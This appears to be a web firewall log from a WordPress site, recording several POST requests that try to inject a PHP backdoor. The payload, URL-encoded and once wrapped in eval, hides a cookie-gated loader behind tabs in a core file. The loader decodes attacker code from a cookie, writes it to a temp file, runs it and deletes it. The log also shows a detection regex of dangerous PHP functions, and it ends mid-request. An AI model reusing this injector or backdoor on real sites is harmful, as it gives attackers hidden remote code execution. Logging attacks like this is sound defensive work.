3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4290\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nJr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:40:20","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4290\n\nXK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:40:27","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> de:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4290\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nupgrade-insecure-requests:1\n\nde=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:41:19","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524fac%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ptr%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524flg%2529%2529%2520%257B%2520%2524item%2520%253D%2520fopen%2528%2524flg%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524item%252C%2520%2524fac%2529%253B%2520fclose%2528%2524item%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524flg%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524flg%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522splitter_tool%2522%2529%253B%2520%2524ref%2520%253D%2520%25226338a8fe470fec7ca0c1b6d24aef1d8e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ref%252C%2520%2524ptr%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522request_approved_right_pad_string%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4313\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/global-styles-and-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B80%252B-80%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-18%252B19%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-7%252B10%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79-75%255D%2529%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520function%2520splitter_tool%2528%2524element%2529%2520%257B%2520%2524ptr%2520%253D%2520%2524_COOKIE%253B%2520%2524flg%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252779155b5c%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524flg%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520